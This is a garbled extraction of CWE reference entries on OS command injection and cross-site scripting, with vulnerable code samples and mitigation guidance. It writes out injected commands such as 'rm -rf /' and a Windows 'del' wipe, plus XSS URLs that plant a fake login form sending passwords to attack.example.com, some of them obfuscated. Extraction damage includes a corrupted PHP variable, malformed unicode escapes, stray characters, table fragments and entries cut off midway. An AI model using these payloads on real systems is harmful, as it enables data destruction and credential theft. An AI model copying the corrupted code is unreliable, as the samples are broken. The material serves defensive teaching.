This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

PHP Example:
```php
g $userName = $_POST["user"];  
g $command = 'ls -l /home/' . $userName;  
g system($command);  
```

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:
```
$ rm -rf /
```

Which would result in $command being:
```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.
Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:
This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Perl Example:
```perl
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
  while (<$fh>) {
    print escapeHTML($_);
    print "<br>
  }
  close($fh);
}
```

Suppose an attacker provides a domain name like this:
```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```
The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

**Example 3:**
The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

**Java Example:**
```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
  System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

**Example 4:**
In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

**Java Example:**
```
public String coordinateTransformLatLonToUTM(String coordinates)
{
  String utmCoords = null;
  try {
    String latlonCoords = coordinates;
    Runtime rt = Runtime.getRuntime();
    Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
    // process results of coordinate transform
    // ...
    } catch(Exception e) {...}
  return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&\' followed by the command for another program to the end of the coordinate string. The '&\' instructs the Windows operating system to execute another program.

**Example 5:**
The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

**Java Example:**
```
... String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K "
c:\util\rmanDB.bat "
+btype+
"&\&c:\\util\\cleanup.bat\"")
```
The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\dbms\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Potential Mitigations

#### Architecture and Design

- **If at all possible, use library calls rather than external processes to recreate the desired functionality.**

#### Architecture and Design

##### Operation

- **Sandbox or Jail**

  - **Limited**

    Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

    OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

    Be careful to avoid CWE-243 and other weaknesses related to jails.

    The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

#### Architecture and Design

##### Identify and Reduce Attack Surface

- **For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible.** For example, in web applications, this may require storing the data locally in the session’s state instead of sending it out to the client in a hidden form field.
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.78.8] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Architecture and Design

Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execv(), execl(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Operation
Compilation or Build Hardening
Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation
Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Operation
Sandbox or Jail
Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

Operation
Firewall
Moderate
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.78.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Operation
Implementation
Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

(CAPEC Version 2.10)
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

White Box Definitions

A weakness where the code path has:
1. start statement that accepts input
2. end statement that executes an operating system command where
   a. the input is used as a part of the operating system command and
   b. the operating system command is undesirable

Where "undesirable" is defined through the following scenarios:
1. not validated
2. incorrectly validated

</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
</tbody>
</table>

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

**Extended Description**

Cross-site scripting (XSS) vulnerabilities occur when:
1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:
The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible. Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

**Alternate Terms**

**XSS**

**CSS**

"CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

**Time of Introduction**

- Web-Server *(Often)*

**Platform Notes**

**Common Consequences**
CWE Version 2.11
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Access Control
Confidentiality
Bypass protection mechanism
Read application data
The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
Read application data
The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood of Exploit
High to Very High

Enabling Factors for Exploitation
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web based mailing list-style functionality.

Stored XSS got its start with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response.

Detection Methods
Automated Static Analysis
Moderate
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.
Black Box
Moderate
Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Demonstrative Examples

Example 1:
This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

**PHP Example:**

```php
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>;
```

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

```
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

```
<div class="header"> Welcome,
<br/>
Please Login:<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
```
CWE Version 2.11
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22+%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%3EPassword%3A
%3Cinput+type%3D%22password%22+name%3D%22password%22
%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
%2F%3E%3C%2Fform%3E%3C%2Fdiv%0D%0A
The same attack string could also be obfuscated as:

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('<div id="s
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\0061\u006D
\u0065\u003D\0022\0069\006E\0070\0075\0074\0022\0020\0061\0063
\u0074\0069\006F\006E\003D\0022\0068\0074\0074\0070\003A\002F\002F
\0061\0074\0074\0061\0063\006B\002E\0065\0078\0061\006D
\0070\0022\0020\006D\0065\0074\0068\006F\0064\003D\0022\0070
\006F\0074\0022\u003E\u0055\u0073\u0065\u0072\u006E\0061\u006D
\u0065\u003A\0020\003C\0069\006E\0070\0075\0074\0020\0074\0079
\0070\0065\u003D\0022\0073\0075\0062\006D\0022\0020\0076\0061\006C
\u0075\u0065\u003D\0022\004L\006F\0067\0069\006E\0022\002F
\003E\003C\002F\0064\0069\0076\000D);</script>

Both of these attack links will result in the fake login box appearing on the page, and users are
more likely to ignore indecipherable text at the end of URLs.

Example 2:
This example also displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it
to the user.

JSP Example:

```jsp
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and
displays it to the user.

ASP.NET Example:

```csharp
protected System.Web.UI.WebControls.TextBox Login;  
protected System.Web.UI.WebControls.Label EmployeeID;  
...
EmployeeID.Text = Login.Text;  
... (HTML follows)  
</p><asp:label id="EmployeeID" runat="server" /></p>
```

The code in this example operates correctly if the Employee ID variable contains only standard
alphanumeric text. If it has a value that includes meta-characters or source code, then the code will
be executed by the web browser as it displays the HTTP response.

Example 3:
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

**JSP Example:**

```jsp
<%
... 
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
%>
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

**ASP.NET Example:**

```csharp
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"]; 
... 
EmployeeName.Text = name;
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

**Example 4:**

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

**CreateUser.php**

```php
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$全民名 = sprintf('Insert Into users (username,password) Values ("%s",%s,"%s")', $username, crypt($password), $FullName) ;
mysql_query($query);
/.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

**ListUsers.php**

```php
//Print list of users to page
echo "<div id="userlist">Currently Active Users:";
if (!$results) {
    exit;
}
//Print list of users to page
echo "<div id="userlist">Currently Active Users:";
while ($row = mysql_fetch_assoc($results)) {
    echo "<div class="userNames">".$row['fullname']."</div>";
} 
echo "</div>";
```
The attacker can set his name to be arbitrary HTML, which will then be displayed to all visitors of
the Active Users page. This HTML can, for example, be a password stealing Login message.

### Observed Examples

### Potential Mitigations

#### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft’s Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

#### Implementation

##### Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on the types of encoding and escaping that are needed.

##### Implementing Architecture and Design

**Identify and Reduce Attack Surface**

**Limited**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation
With Struts, write all data from form beans with the bean’s filter attribute set to true.

Implementation
Identify and Reduce Attack Surface
Defense in Depth
To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" character might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
**Operation**

**Firewall**

**Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Operation**

**Implementation**

**Environment Hardening**

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Background Details**

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">"., and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Integrity

Availability

Read application data

Execute unauthorized code or commands

Likelihood of Exploit

High to Very High

Demonstrative Examples

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.
CWE Version 2.11
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

**JSP Example:**

```jsp
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
   Entry e = (Entry) i.next(); %>
   <p>Entry #<%= e.getId() %></p>
   <p><%= e.getText() %></p>
<% }
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0938</td>
<td>XSS in parameter in a link.</td>
</tr>
<tr>
<td>CVE-2002-1495</td>
<td>XSS in web-based email product via attachment filenames.</td>
</tr>
<tr>
<td>CVE-2003-1136</td>
<td>HTML injection in posted message.</td>
</tr>
<tr>
<td>CVE-2004-2171</td>
<td>XSS not quoted in error page.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation**

**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Implementation**

**Identify and Reduce Attack Surface**

**Defense in Depth**

